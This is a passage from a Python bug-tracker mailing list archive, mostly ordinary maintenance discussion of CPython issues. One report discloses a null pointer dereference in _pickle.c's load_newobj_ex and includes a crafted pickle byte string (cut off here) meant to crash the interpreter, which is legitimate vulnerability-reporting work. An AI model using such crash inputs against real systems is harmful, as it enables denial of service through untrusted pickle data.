19:04:23 2015 From: report at bugs.python.org (Stefan Krah) Date: Mon, 13 Jul 2015 17:04:23 +0000 Subject: [issue24622] tokenize.py: missing EXACT_TOKEN_TYPES In-Reply-To: <1436729377.89.0.451182448624.issue24622@psf.upfronthosting.co.za> Message-ID: <1436807063.71.0.799379609302.issue24622@psf.upfronthosting.co.za> Stefan Krah added the comment: I think with the ASYNC/AWAIT changes any code using tokenize.py will have to be updated anyway in 3.5 and in 3.7 (when ASYNC/AWAIT will finally be real keywords). So this is probably an ideal time for the change. I'll add tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 19:11:48 2015 From: report at bugs.python.org (Meador Inge) Date: Mon, 13 Jul 2015 17:11:48 +0000 Subject: [issue24622] tokenize.py: missing EXACT_TOKEN_TYPES In-Reply-To: <1436807063.71.0.799379609302.issue24622@psf.upfronthosting.co.za> Message-ID: Meador Inge added the comment: On Mon, Jul 13, 2015 at 12:04 PM, Stefan Krah wrote: > I think with the ASYNC/AWAIT changes any code using tokenize.py > will have to be updated anyway in 3.5 and in 3.7 (when ASYNC/AWAIT > will finally be real keywords). Agreed. > So this is probably an ideal time for the change. I'll add tests. Thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 19:12:41 2015 From: report at bugs.python.org (Stefan Krah) Date: Mon, 13 Jul 2015 17:12:41 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436807561.87.0.417424456382.issue24553@psf.upfronthosting.co.za> Stefan Krah added the comment: +1 for python -m test.subinterpretertest. Based on my experiments, most tests will either fail or leak memory at the very least. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 20:23:17 2015 From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9gory_Starck?=) Date: Mon, 13 Jul 2015 18:23:17 +0000 Subject: [issue10682] With '*args' or even bare '*' in def/call argument list, trailing comma causes SyntaxError In-Reply-To: <1292128202.55.0.0300342497244.issue10682@psf.upfronthosting.co.za> Message-ID: <1436811797.64.0.711642055595.issue10682@psf.upfronthosting.co.za> Gr?gory Starck added the comment: > unneeded consistency "unneeded" consistency !:? I'd say that either there is a "full or complete" consistency on the mentionned point/element of syntax, or there is none .. but an unneeded one.. or an half-one, isn't "consistent consistency" by then ;) ---------- nosy: +g.starck at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 20:44:31 2015 From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9gory_Starck?=) Date: Mon, 13 Jul 2015 18:44:31 +0000 Subject: [issue9232] Allow trailing comma in any function argument list. In-Reply-To: <1278945017.29.0.842296068848.issue9232@psf.upfronthosting.co.za> Message-ID: <1436813071.13.0.607853466869.issue9232@psf.upfronthosting.co.za> Gr?gory Starck added the comment: Have also been confronted to this bug (imo) and this happen from time to time to me : I often like to ends my (big) functions defs and calls (those that span over multiple lines thus..) with that extra comma, so that when/if I add another argument (on a new line) later then there will be only a + line in my VCS). There seems to have a consensus to apply the patch (unless it's not finished?).. regards, ---------- nosy: +g.starck at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 22:02:19 2015 From: report at bugs.python.org (Roundup Robot) Date: Mon, 13 Jul 2015 20:02:19 +0000 Subject: [issue23530] os and multiprocessing.cpu_count do not respect cpuset/affinity In-Reply-To: <1424961054.13.0.0830068196807.issue23530@psf.upfronthosting.co.za> Message-ID: <20150713200210.14708.8565@psf.io> Roundup Robot added the comment: New changeset b9e3838e9664 by Charles-Fran?ois Natali in branch 'default': Issue #23530: Improve os.cpu_count() description. https://hg.python.org/cpython/rev/b9e3838e9664 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 22:41:41 2015 From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=) Date: Mon, 13 Jul 2015 20:41:41 +0000 Subject: [issue23530] os and multiprocessing.cpu_count do not respect cpuset/affinity In-Reply-To: <1424961054.13.0.0830068196807.issue23530@psf.upfronthosting.co.za> Message-ID: <1436820101.7.0.951708402699.issue23530@psf.upfronthosting.co.za> Charles-Fran?ois Natali added the comment: Committed. Julian, thanks for the patch! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 22:57:38 2015 From: report at bugs.python.org (Berker Peksag) Date: Mon, 13 Jul 2015 20:57:38 +0000 Subject: [issue23530] os and multiprocessing.cpu_count do not respect cpuset/affinity In-Reply-To: <1424961054.13.0.0830068196807.issue23530@psf.upfronthosting.co.za> Message-ID: <1436821058.15.0.903776026807.issue23530@psf.upfronthosting.co.za> Berker Peksag added the comment: It would be nice to backport the patch to the 3.4 and 3.5 branches. ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 13 22:59:54 2015 From: report at bugs.python.org (Berker Peksag) Date: Mon, 13 Jul 2015 20:59:54 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436821194.07.0.373405567516.issue24136@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: needs patch -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 00:06:59 2015 From: report at bugs.python.org (Travis) Date: Mon, 13 Jul 2015 22:06:59 +0000 Subject: [issue24628] load_workbook giving ValueError: invalid literal for int() Message-ID: <1436825219.55.0.792231218098.issue24628@psf.upfronthosting.co.za> New submission from Travis: This code works fine with all my workbooks except the one with a heavier amount of data. Please let me know if you want the excel file I am trying to open with this code. ---------- components: IDLE, IO, Installation, Interpreter Core, Library (Lib), Macintosh files: Test2.py messages: 246701 nosy: ned.deily, ronaldoussoren, traviswilcox priority: normal severity: normal status: open title: load_workbook giving ValueError: invalid literal for int() type: compile error versions: Python 2.7 Added file: http://bugs.python.org/file39920/Test2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 00:17:17 2015 From: report at bugs.python.org (Berker Peksag) Date: Mon, 13 Jul 2015 22:17:17 +0000 Subject: [issue24628] load_workbook giving ValueError: invalid literal for int() In-Reply-To: <1436825219.55.0.792231218098.issue24628@psf.upfronthosting.co.za> Message-ID: <1436825837.8.0.725162282862.issue24628@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report, but openpyxl is not part of the Python standard library. Please create an issue at https://bitbucket.org/openpyxl/openpyxl/issues ---------- nosy: +berker.peksag resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 01:31:45 2015 From: report at bugs.python.org (Robert Collins) Date: Mon, 13 Jul 2015 23:31:45 +0000 Subject: [issue24249] unittest API for detecting test failure in cleanup/teardown In-Reply-To: <1432155715.32.0.956645145974.issue24249@psf.upfronthosting.co.za> Message-ID: <1436830305.7.0.142013387294.issue24249@psf.upfronthosting.co.za> Robert Collins added the comment: Setting some basic design parameters here. Its ok for a test to know if it itself has decided on some status. See e.g. testtools.expectThat for a related design thing. Making some official API within the test itself so code after the failure can take appropriate actions seems pretty safe to me, as long as its a one-way switch - no backsies. I think inspecting the reporter would be overly limiting on the reporter implementation, and we shouldn't do that. Further, I think limiting the possible status's that we track to the minimum would be good here, even though its inconsistent with the current overly rich separation unittest offers. That is, some self.status field which might even be an enum (if enum34 supports Python 2.6 for backports [as unittest is currently backported to 2.6 and up]. unset success unexpected success skipped failed expected failure ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 01:35:03 2015 From: report at bugs.python.org (Robert Collins) Date: Mon, 13 Jul 2015 23:35:03 +0000 Subject: [issue24629] unittest.main shadows unittest.main module Message-ID: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za> New submission from Robert Collins: this is a bad practice - it interferes with test discovery and with the use of mock (see https://github.com/testing-cabal/mock/issues/250). We could move main.py to mainmod.py or something ---------- messages: 246704 nosy: rbcollins priority: normal severity: normal status: open title: unittest.main shadows unittest.main module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 01:35:32 2015 From: report at bugs.python.org (Robert Collins) Date: Mon, 13 Jul 2015 23:35:32 +0000 Subject: [issue24629] unittest.main shadows unittest.main module In-Reply-To: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za> Message-ID: <1436830532.91.0.564799750815.issue24629@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- type: -> enhancement versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:01:12 2015 From: report at bugs.python.org (R. David Murray) Date: Tue, 14 Jul 2015 01:01:12 +0000 Subject: [issue24629] unittest.main shadows unittest.main module In-Reply-To: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za> Message-ID: <1436835672.43.0.769979341918.issue24629@psf.upfronthosting.co.za> R. David Murray added the comment: I think you forgot about issue 22858. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:03:46 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 01:03:46 +0000 Subject: [issue24629] unittest.main shadows unittest.main module In-Reply-To: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za> Message-ID: <1436835826.95.0.925728405776.issue24629@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- resolution: -> duplicate superseder: -> unittest.__init__:main shadows unittest.main _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:04:14 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 01:04:14 +0000 Subject: [issue22858] unittest.__init__:main shadows unittest.main In-Reply-To: <1415874204.41.0.576776716148.issue22858@psf.upfronthosting.co.za> Message-ID: <1436835854.55.0.767495493082.issue22858@psf.upfronthosting.co.za> Robert Collins added the comment: See also https://github.com/testing-cabal/mock/issues/250 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:17:53 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 01:17:53 +0000 Subject: [issue23661] Setting a exception side_effect on a mock from create_autospec does not work In-Reply-To: <1426293940.15.0.253058774664.issue23661@psf.upfronthosting.co.za> Message-ID: <1436836673.75.0.93816558656.issue23661@psf.upfronthosting.co.za> Robert Collins added the comment: Also reported in the mock project as https://github.com/testing-cabal/mock/issues/264 ---------- nosy: +rbcollins _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:19:20 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 01:19:20 +0000 Subject: [issue23661] Setting a exception side_effect on a mock from create_autospec does not work In-Reply-To: <1426293940.15.0.253058774664.issue23661@psf.upfronthosting.co.za> Message-ID: <1436836760.27.0.616908951926.issue23661@psf.upfronthosting.co.za> Robert Collins added the comment: This looks fine to me, I'm going to apply it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 03:59:09 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 14 Jul 2015 01:59:09 +0000 Subject: [issue23661] Setting a exception side_effect on a mock from create_autospec does not work In-Reply-To: <1426293940.15.0.253058774664.issue23661@psf.upfronthosting.co.za> Message-ID: <20150714015906.30207.34698@psf.io> Roundup Robot added the comment: New changeset db825807ab04 by Robert Collins in branch 'default': Issue #23661: unittest.mock side_effects can now be exceptions again. https://hg.python.org/cpython/rev/db825807ab04 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 04:16:18 2015 From: report at bugs.python.org (Brad Larsen) Date: Tue, 14 Jul 2015 02:16:18 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` Message-ID: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> New submission from Brad Larsen: `load_newobj_ex` in can crash with a null pointer dereference. File Modules/_pickle.c: static int load_newobj_ex(UnpicklerObject *self) { PyObject *cls, *args, *kwargs; PyObject *obj; PickleState *st = _Pickle_GetGlobalState(); // ... PDATA_POP(self->stack, cls); // *** 1 *** if (cls == NULL) { Py_DECREF(kwargs); Py_DECREF(args); return -1; } if (!PyType_Check(cls)) { // *** 2 *** Py_DECREF(kwargs); Py_DECREF(args); Py_DECREF(cls); PyErr_Format(st->UnpicklingError, "NEWOBJ_EX class argument must be a type, not %.200s", Py_TYPE(cls)->tp_name); // *** 3 *** return -1; } // ... } 1. `cls` is successfully unpickled, but has an ob_type field set to 0 2. `cls` is determined not to be a `PyType` object 3. `Py_TYPE(cls)` gives a null pointer that is dereferenced via `->tp_name` Environment: $ python3.4 --version Python 3.4.2 $ uname -a Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux POC: from io import BytesIO from pickle import load payload = b']\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8fGGbG\x10GGGGGGG?GGGGGGG:gGGGGB(GRGGGGUGGGGGGhZGGGJGGGGGGGGGTGGGGGCGGGGGGGGgGG7GB(GRGGGGvGGGGG\xff\xff\x00\x00GGJGGGGGGGGGTGCCCCCCCCCCCCCCCCCCCCCCCC _______________________________________ From report at bugs.python.org Tue Jul 14 04:17:02 2015 From: report at bugs.python.org (Brad Larsen) Date: Tue, 14 Jul 2015 02:17:02 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1436840222.24.0.0902196055892.issue24630@psf.upfronthosting.co.za> Brad Larsen added the comment: Seems to be similar to #24552, but not the same problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 04:36:15 2015 From: report at bugs.python.org (Brad Larsen) Date: Tue, 14 Jul 2015 02:36:15 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1436841375.41.0.460690071381.issue24630@psf.upfronthosting.co.za> Brad Larsen added the comment: Also, it appears that the `ob_type` field of `cls` need not be NULL; it can be an arbitrary value treated as a memory location. Attached another POC that triggers this case. ---------- Added file: http://bugs.python.org/file39922/bug-nonnull.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 05:50:27 2015 From: report at bugs.python.org (Alessandro Rosa) Date: Tue, 14 Jul 2015 03:50:27 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436845827.21.0.360359155278.issue24570@psf.upfronthosting.co.za> Alessandro Rosa added the comment: Hi Terry, I will try my best to answer your questions. To update you, I decided to completely uninstall the ActiveState frameworks from my Mac. This brought me back to the dreaded Apple version of Tcl/Tk 8.5.9 with the IDLE warning about it. At this point Autocomplete and Call Tips worked again. If I initialized a list and then typed a_list. then the pop up menu would appear for the methods associated with list. If I typed a_list.append( then the Call Tip with the docstring information for list.append would appear. (I didn't try some of the other methods that we talk about in the questions as I was not aware of them at the time). I then downloaded a new installer from ActiveState for Tcl/Tk 8.5.18 and ran the install. I tested IDLE again, and at this point the Autocomplete pop up menu does not display, and the Call Tips no longer appear when I open a methods parenthesis. Questions: ====================== "Alessandro, you said works, does not. How about and . The latter pair work within path strings when the preceding chars begin a path that exist on your system." - If I type a_list. and then no pop up menu appears, however when I press the Up or Down arrow keys, it cycles through the methods available for that object. The Autocompletes display inline, one at a time and not as a popup. To expand on this, if I press at the prompt of the IDLE shell or at a blank line in an editor screen the Up and Down arrow keys will cycle through any builtin functions, keyword arguments (mostly errors), or declared variables available, plus True and False. - This has no effect. There is no popup window, and unlike with the arrow keys move the cursor around the screen and do not cycle through any of the Autocomplete options. - For the sake of brevity, works the same as does after a dot, so a_list. and lets the Up and Down arrow keys cycle through available methods. - Within a path string, allows for the cycling through of the directories at that level of the path using the Up and Down arrow keys. As with the others, no popup menu is visible when pressing . (That is a handy tip I didn't know about... Thanks!) ------------------------ "Alessandro, you could test by making a backup of configextensions.def and removing 'Release' for 'period'." - When I do this and restart IDLE, the only difference in behavior is that placing a period after an object, a_list., acts like pressing or did prior to the change. It allows for the cycling through of methods with the arrow keys, but no popup menu. ------------------------ "Alessandro, you said does not work. How abut (after '(') to open? Does close properly?" - Correct. There is no Call Tips popup when I open a parenthesis after an object method. - This has no effect. - I am not sure what your question means. It works as a normal close parenthesis would in any text editor. If you mean does close the Call Tips popup properly, then I can't say as there is no Call Tip popup displaying. One thing to note, something is happening with after a closed parenthesis, it is just that nothing is visible. So if I enter a_list.append() and then press and release the 0 key and then press the Up or Down arrow key, the cursor is frozen in place for the first press. Then is starts to move with subsequent presses. It seems like IDLE is trying to get the Call Tip, but no window appears to display the information. ------------------------ "For both boxes, clicking on the box should also close. Does it? What about Edit -> Show Completions and Edit -> Show calltips for opening?" - The popup boxes do not display at all. Going through the answers I have given so far, it seems like IDLE is accessing the information that it needs to for Autocomplete (and possibly Call Tips, though I cannot see it as it is never displayed on screen), it is just that the display boxes do not display. Maybe the problem is not Autocomplete or Call Tips at all, but in the module that is called to display the information that they return, or a command in that module was renamed or deprecated? - Edit -> Show Completions After reverting back to the backup version of config-extensions.def, this has the same behavior as and have. Up and Down Arrow allows cycling through of methods, but there is no popup window visible. - Edit -> Show calltips This has no effect, whether it is with an open parenthesis or after the parenthesis has been closed. Thank you for the reply and trying to find a solution. ~ A ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 06:10:18 2015 From: report at bugs.python.org (Jerry Elmore) Date: Tue, 14 Jul 2015 04:10:18 +0000 Subject: [issue19475] Add microsecond flag to datetime isoformat() In-Reply-To: <1383325521.57.0.024650274045.issue19475@psf.upfronthosting.co.za> Message-ID: <1436847018.09.0.7681962781.issue19475@psf.upfronthosting.co.za> Changes by Jerry Elmore : ---------- nosy: +Jerry Elmore _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 06:30:18 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 04:30:18 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1436848218.1.0.356646222094.issue24630@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Can't reproduce the crash with current sources. In both examples the result is an exception: _pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not float How an ob_type field of cls can be set to 0? ---------- nosy: +alexandre.vassalotti, pitrou, serhiy.storchaka status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 06:33:45 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 04:33:45 +0000 Subject: [issue24483] Avoid repeated hash calculation in C implementation of functools.lru_cache() In-Reply-To: <1434890042.2.0.0991345110525.issue24483@psf.upfronthosting.co.za> Message-ID: <1436848425.27.0.365463188564.issue24483@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Can you allow me to commit the patch or will commit it yourself Raymond? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 06:48:41 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 14 Jul 2015 04:48:41 +0000 Subject: [issue23661] Setting a exception side_effect on a mock from create_autospec does not work In-Reply-To: <1426293940.15.0.253058774664.issue23661@psf.upfronthosting.co.za> Message-ID: <20150714044838.30199.89797@psf.io> Roundup Robot added the comment: New changeset 7021d46c490e by Robert Collins in branch '3.5': Issue #23661: unittest.mock side_effects can now be exceptions again. https://hg.python.org/cpython/rev/7021d46c490e New changeset 231bf0840f8f by Robert Collins in branch 'default': Issue 23661: null-merge with 3.5. https://hg.python.org/cpython/rev/231bf0840f8f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 07:10:51 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 05:10:51 +0000 Subject: [issue24631] Regression in timeit with multyline setup Message-ID: <1436850651.25.0.287114682674.issue24631@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Issue5633 introduced a regression in 3.5. $ ./python -m timeit -s "a = 1" -s "b = 2" Traceback (most recent call last): File "/home/serhiy/py/cpython-3.5/Lib/runpy.py", line 170, in _run_module_as_main "__main__", mod_spec) File "/home/serhiy/py/cpython-3.5/Lib/runpy.py", line 85, in _run_code exec(code, run_globals) File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 338, in sys.exit(main()) File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 296, in main t = Timer(stmt, setup, timer) File "/home/serhiy/py/cpython-3.5/Lib/timeit.py", line 122, in __init__ compile(setup + '\n' + stmt, dummy_src_name, "exec") File "", line 2 b = 2 ^ IndentationError: unexpected indent Proposed patch fixes it. ---------- assignee: serhiy.storchaka components: Library (Lib) messages: 246717 nosy: serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Regression in timeit with multyline setup type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 08:23:54 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 06:23:54 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436855034.17.0.171580455936.issue14373@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Stefan, Ned, can you reproduce the same crash with following patch? ---------- Added file: http://bugs.python.org/file39923/clru_cache_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 08:54:01 2015 From: report at bugs.python.org (Ezio Melotti) Date: Tue, 14 Jul 2015 06:54:01 +0000 Subject: [issue24632] Improve documentation about __main__.py Message-ID: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> New submission from Ezio Melotti: __main__.py seems to only be mentioned briefly in a couple of places in the official docs: 1) https://docs.python.org/3/library/__main__.html 2) https://docs.python.org/3/using/cmdline.html#cmdoption-m The first link only says: """For a package, the same effect can be achieved by including a __main__.py module, the contents of which will be executed when the module is run with -m.""" ("-m" should actually use :option:`-m` to automatically link to the second URL.) The second link mentions __main__.py in two sentences: """Execute the Python code contained in script, which must be a filesystem path (absolute or relative) referring to either a Python file, a directory containing a __main__.py file, or a zipfile containing a __main__.py file.""" """If the script name refers to a directory or zipfile, the script name is added to the start of sys.path and the __main__.py file in that location is executed as the __main__ module.""" I think it would be better to expand the first link to state clearly what is __main__.py and what is its purpose. In addition, the section should clarify a few more things, e.g. when it should be used, what it should contain, if it's ok to have other __main__.py in the subpackages (e.g. test/__main__.py to run the tests with python -m package.test), how it interacts __init__.py (which one is executed first?). Perhaps it should also get a glossary entry and/or a short mention in the tutorial together with zip imports. In addition to the two links above, a Google search returns the stackoverflow question "What is __main__.py?" as first result, and a couple more related questions that could/should be answered by our docs. ---------- assignee: docs at python components: Documentation messages: 246719 nosy: docs at python, ethan.furman, ezio.melotti, nedbat priority: normal severity: normal stage: needs patch status: open title: Improve documentation about __main__.py type: enhancement versions: Python 2.7, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 09:25:52 2015 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jul 2015 07:25:52 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436858752.11.0.607683027437.issue14373@psf.upfronthosting.co.za> Ned Deily added the comment: Serhiy, I'll try making a 3.5.0b3+patch installer build in the same manner as the 3.5.0b3 installer build. But I may not get to it for several days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 10:07:26 2015 From: report at bugs.python.org (=?utf-8?q?S=C3=A9bastien_Celles?=) Date: Tue, 14 Jul 2015 08:07:26 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' Message-ID: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> New submission from S?bastien Celles: Hello, the package name "readme" conflicts with Python installed site-packages/README file on case-insensitive filesystems (Mac OS X). https://github.com/pypa/readme/issues/26 https://github.com/mgedmin/restview/issues/30 https://groups.google.com/a/continuum.io/forum/#!topic/anaconda/AGHXzB1sN0I I wonder if README file should be be renamed README.rst or README.txt or README.md to avoid this issue or if readme package should be renamed. Kind regards ---------- components: Macintosh messages: 246721 nosy: S?bastien Celles, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 10:13:22 2015 From: report at bugs.python.org (Martin Panter) Date: Tue, 14 Jul 2015 08:13:22 +0000 Subject: [issue24629] unittest.main shadows unittest.main module In-Reply-To: <1436830503.73.0.11092302384.issue24629@psf.upfronthosting.co.za> Message-ID: <1436861602.49.0.316214208895.issue24629@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 10:21:58 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jul 2015 08:21:58 +0000 Subject: [issue21952] fnmatch.py can appear in tracemalloc diffs In-Reply-To: <1405020967.14.0.385293193823.issue21952@psf.upfronthosting.co.za> Message-ID: <1436862118.48.0.93922923223.issue21952@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In 3.5+ lru_cache() is implemented in C. Is this issue still actual? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 10:37:26 2015 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jul 2015 08:37:26 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436863046.94.0.670473152071.issue24633@psf.upfronthosting.co.za> Ned Deily added the comment: I agree with IIan's comments you cited in https://groups.google.com/a/continuum.io/forum/#!topic/anaconda/AGHXzB1sN0I. Python has been installing the README file in site-packages for a very long time and there have been case-insensitive file systems for a very long time, including, but not limited to, the default case-insensitive variant of HFS on OS X. So this seems to be an issue for the readme package, not for Python. Even if the Python-installed README file were installed under a different name in future release, it wouldn't solve the problem for trying to install the readme package under current and past Python releases. CC-ing Donald, as the author of readme, for his comments. ---------- nosy: +dstufft _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 11:30:08 2015 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 14 Jul 2015 09:30:08 +0000 Subject: [issue24632] Improve documentation about __main__.py In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za> Message-ID: <1436866208.34.0.437384837427.issue24632@psf.upfronthosting.co.za> Ned Batchelder added the comment: BTW, the Stack Overflow answer: http://stackoverflow.com/a/4043007 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 12:12:53 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 10:12:53 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436868773.38.0.167447330342.issue24633@psf.upfronthosting.co.za> Robert Collins added the comment: So, README is a valid package name. readme conflicting with README on case insensitive filesystems is a special case, but the general problem remains. We've no particular reason to use README rather than e.g. README.txt, which would open with a much more reasonable program on Windows, and would also remove this problem. ---------- nosy: +rbcollins versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 12:17:25 2015 From: report at bugs.python.org (Robert Collins) Date: Tue, 14 Jul 2015 10:17:25 +0000 Subject: [issue24633] Not a directory: '//anaconda/lib/python2.7/site-packages/readme/__about__.py' In-Reply-To: <1436861246.12.0.158910992978.issue24633@psf.upfronthosting.co.za> Message-ID: <1436869045.47.0.566521525979.issue24633@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- keywords: +patch Added file: http://bugs.python.org/file39924/issue24633.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 13:01:17 2015 From: report at bugs.python.org (Chris Smowton) Date: Tue, 14 Jul 2015 11:01:17 +0000 Subject: [issue23906] poplib maxline behaviour may be wrong In-Reply-To: <1428679593.1.0.415911204922.issue23906@psf.upfronthosting.co.za> Message-ID: <1436871677.76.0.843650475982.issue23906@psf.upfronthosting.co.za> Chris Smowton added the comment: I found the same problem retrieving mail from my ISP's (unknown) POP3 server. I was sent an HTML email as one long 50KB line, which naturally broke everything. Instead of limiting line length, I suggest you should limit total message body size, since that's what you're actually trying to defend against here. You could also either use the +OK XXX octets line to set a more conservative limit (and fail fast if it announces intent to send more than your limit). As above the workaround was to insert import poplib; poplib._MAXLINE = 1000000 at the top of the 'getmail' script. A side-note: one message that is broken this way causes all future messages to fail because poplib does not flush the connection when bailing due to a 'line too long' error. If it isn't prepared to read the rest of the incoming data, it *must* hang up the connection and re-login to fetch the next message. ---------- nosy: +Chris Smowton _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 14 13:03:13 2015 From: report at bugs.python.org (Chris Smowton) 